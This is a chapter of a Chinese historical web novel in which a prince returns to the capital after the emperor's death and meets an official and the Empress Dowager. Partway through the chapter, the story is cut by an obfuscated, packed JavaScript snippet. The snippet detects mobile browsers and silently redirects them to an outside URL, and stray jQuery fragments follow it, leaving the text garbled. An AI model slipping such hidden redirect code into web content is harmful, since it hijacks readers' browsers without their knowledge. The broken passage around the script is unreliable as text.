25. 第 25 章

作品:《再就业:江湖旅游团

    今日的长乐巷十分热闹,租住于巷尾的那家人回来了。他们才回来没多久,就有不下几百人前去拜访。


    “李伯,您又糊涂了。咱们这小巷子怎么可能装得下几百人,若是真的,又怎么会只有您一人看见?我们不早就知道了?”巷口处,一黑脸汉子对李伯道。


    李伯不高兴地嘟嘟囔囔:“我没糊涂。就是有几百人,只是不是一起来的。”


    李伯家就在巷口,每天一早他都会在院里晒太阳,进出巷子的人都逃不过他的眼睛。


    “哎呀,我看是你糊涂了!李伯,您别管我家汉子,他今日做工累着了,脑子不清楚。”黑脸汉子旁边的妇人拧了下汉子耳朵,汉子连连喊疼,忙改口:“对,对!是我糊涂,李伯您快救救我。”


    李伯见状眼角眉梢俱是笑意,笑着开口:“芹妹子,绕他这次吧,小老头我不和他计较。”


    妇人瞪黑脸汉子一眼,黑脸汉子立即笑着道谢。


    说话间,十余人从巷子里走出,衣着制式相似,显然出自一门,再仔细一看,个个腰间都别着刀,刀把是隐约可见一个路字。


    待人走出巷子直至看不见,黑脸汉子才敢说话:“乖乖,李伯您说得竟然都是真的。”


    话一落,黑脸汉子又挨了妇人一下,惨叫一声。


    “啊!”盛元冉没拿稳,手中盘子掉下去。


    白榆眼疾手快接住,放回她手里:“好了,拿去放吧。”


    “嗯。”盛元冉点头,朝后厨去,回来的时候见西厢房门依旧掩着,众人还在院里坐着。


    她慢慢走过去,尽量放轻声音,以免吵到屋里人。


    他们是今早到的定皋城,一开始见满城缟素还以为是城里大人物没了,没成想问过之后原是京都的大人物没了。


    薛明辉当时就要站不住了,竺晏和江崇架着他进屋,之后就一直没出来。他们也一直在招待人,处理琴魔和惊雷派余孽后续的事情,直到现在才空下来,得空收拾。


    也不知道掌柜的能不能想开。盛元冉惆怅地想。


    习武之人只要不是拼命性子的,大多年寿也长。她还没经历过失去亲人的滋味,但不到半年,掌柜的就没了两个亲人。


    “唉……”她轻轻叹了口气,抬眼一瞧,发现大家脸色都很凝重。


    没一会,屋门被推开,薛明辉满面疲惫,似乎极累,连眼睛都抬不起,脚步虚浮走到中间,瓮声瓮气道:“我爹走时我不在,但我总要送他一程的,我们先去京都吧。”


    “可以。”白榆当即应下。


    薛明辉不甚在意点点头,飘着一般回了屋。


    江崇盯着他的背影,犹豫半晌终是什么也没说。


    此番回去,葬仪是一定赶不上的了,若是走得快些,应当还能赶上新帝的登基大典。


    只是京中状况不明,虽说即位的是薛明辉的同胞弟弟。但三皇子年幼,尚不清楚辅政大臣是谁,贵妃态度如何?


    最好还是悄悄进京……


    转念一想,江崇又觉得不妥。


    京都人尽皆知薛明辉这个二皇子是个不爱权势的,若是偷偷进京反倒惹人怀疑,不如坦坦荡荡。


    对他下手,属实是无用之举。


    第二天,众人就直接启程了,退了房子,又给于老去了信:言明计划有变,只能之后再去碧霞帮。


    临行前,路家赠了他们几匹马当作是捉拿琴魔的报酬。日夜兼程之下,月初离开的定皋城,月末就抵达了京都。


    才入城,就遇上一队侍卫。


    侍卫队长径直朝薛明辉而来,拱手行礼:“殿下,娘娘在宫中等您,特令下官来接。”


    薛明辉面不改色,冷淡颔首,对几人道:“你们先跟着江崇,我之后再来找你们。”


    侍卫队长插话道:“殿下,可要微臣为几位安排?”


    薛明辉瞥他一眼,道:“聒噪,只需做好你该做的就是。”


    说罢,他径直上了宫车,侍卫队长自知失言,同江崇点头示意后再到宫车旁边告罪,再骑上马到前面开路,侍卫们分列两侧跟在后面。


    车队一走,往来百姓们的视线纷纷投向还留在原地的白榆几人,目光炙热得几乎要将他们烫出一个洞。


    这时,又有几个家仆出来挥退众人。


    “让让,让让,大家让让,不要挡着了,这几位是我家大人的贵客。”


    百姓们见这群家仆个个手拿棍棒,衣裳都是好料子,知道不是能惹的,轰地一下散了。


    凌夷走过来,一揖:“各位,好久不见。”


    他此前到过清溪镇两次,更不用提之前江崇还托他办过事,众人对他都还有印象。除江崇外,几人回礼。


    凌夷好脾气地笑笑,并不在意江崇的反应,语气温和道:“京都样样开销都大,若是几位不介意的话,不如随我一同回去。寒舍虽小,但几间屋子还是有的。”


    其他人看向江崇。江崇扫了眼七八个拿棍的家仆,道:“走吧。”


    凌家宅子远离城中心,地段一般,但占地极大,景致也好。


    凌夷走在前面带路,顺带给他们介绍园中风景。到了一处清幽小院门口,他停下,道:“家中并无长辈,这院子后面有个小门可以出去,不必知会。几位将此处当作自家,随心就好。


    每日会有丫头来问餐食,想吃什么只管吩咐就是。不爱府中厨子的手艺也可自行解决,是亲自下厨还是出门都可。出门的话……”凌夷一笑,“有江崇在,我也不班门弄斧了。京都样样他都很熟悉,问他就好。近日朝中事多,不能相陪,还请诸位见谅。”


    说罢,他又是一礼,匆匆走了。才出门,就遇上宫中的人。


    小太监道:“凌大人,太后口谕,宣您入宫。”


    凌夷谢过,随侍送上礼。小太监收下,道:“大人您客气了,这都是咱家应该做的。二殿下回来了,太后特意请您去见呢。”


    说话间凌家家仆已牵了马过来,凌夷翻身上马,到宫门口下来,然后步行,随接引宫人进了御书房。


    殿内无人,凌夷在外间等着。宫人上了茶点,他只微微抿一口就放下。


    等了大半天,听见外面动静。


    凌夷起身,门开之时行礼:“微臣凌夷,拜见二殿下。”


    须臾,才听见薛明辉的声音:“……起来吧。”


    凌夷抬头,看清薛明辉后愣了一瞬。


    他收到消息赶过去时薛明辉已经上了宫车,未能见到,现在才是他离开清溪镇后第一次见到薛明辉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841118|174810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    薛明辉变了许多,整个人与之前相比,像是拢上了一层灰。


    “凌大人,坐吧。”薛明辉没管他,目不斜视走到上方。


    “……谢殿下赐座。”凌夷重新坐下,闻到空中一丝香灰味,余光看去,就见薛明辉的衣角沾了半点灰。


    他不露痕迹收回视线,垂眸,道:“多日不见,不知殿下近况如何?”


    薛明辉:“……”


    凌夷:“臣在京中常思念殿下,然,臣知殿下素爱山水,恐凡尘俗事扰了殿下,不敢去信,望殿下见谅。”


    薛明辉:“……”


    凌夷:“殿下,太后派了天使去清溪镇,不知您可有遇上?”


    薛明辉:“……”


    凌夷:“殿下……”


    “凌大人,”薛明辉突然打断他,“若无要事,我就先走了。”


    凌夷:“……”


    见他没说话的意思,薛明辉起身离去,出殿门时听见身后传来一句:“愿殿下事事如意。”


    “殿下。”小太监低眉顺眼迎上来。


    程昭,也就是薛明辉。


    他并不看小太监,只道:“娘娘又要本宫去何处?”


    小太监:“太后请您过去。”


    到了太极宫,引路的小太监退下。程昭随太极宫侍人进去时,太后正在看奏折,桌上高高摞了一叠。


    侍人早就退下,程昭跪下行礼:“儿臣拜见母后。”


    见是他,太后唇边漾出一丝笑,起身走到一旁用于歇息的榻上坐下,招手:“昭儿过来,我们母子之间,不必如此多礼。”


    “是。”程昭依言过去,却并未坐到太后旁边,而是隔了些距离。


    太后轻叹一声,道:“昭儿,你可是在怪我。”


    “儿臣不敢。”程昭恭敬道。


    太后苦涩道:“……我知道,你是怨我的。”


    程昭听出语气不对,连忙抬头,见太后满面悲伤慌了神:“母妃,我、是我错了,我没有怨您,我只是,只是……”只是一时之间难以接受。


    太后眼尾泛红,一言不发。


    程昭忙起身走到太后面前蹲下,握住太后的手,着急道:“母妃,您别多想。我是在怨我自己,没能送父皇最后一程。”


    “好孩子,”太后空着的手摸摸他的脑袋,“你父皇临走前要我一定找到你,让你在他灵前上三柱香,日后好好辅佐你弟弟,我也算没辜负了他。”


    “母妃,我明白。”说到先帝,程昭一下变得丧气,重新坐回去后道,“父皇身体一向康健,怎么会这般突然。”


    太后从善如流:“傻孩子,你父皇只是不想让你担心。你走那年,他身体就不大好了,太医要他静养,不能劳神。可是国事繁重,他放心不下,我也只能尽心为他调理。”


    程昭离家已有七八年,现下闻言更是自责。他道:“是儿臣的错,未能于病榻前尽孝。”


    “不怪你,你也不知道这事。”


    一时无言,程昭欲言又止。


    他想问太子的事,又担心说错话,惹恼太后,伤了情分。


    太后在宫里待了近三十载,程昭又是她亲手养大的儿子,怎么可能看不出他在想什么?她道:“昭儿,你是想问太子的事吧。”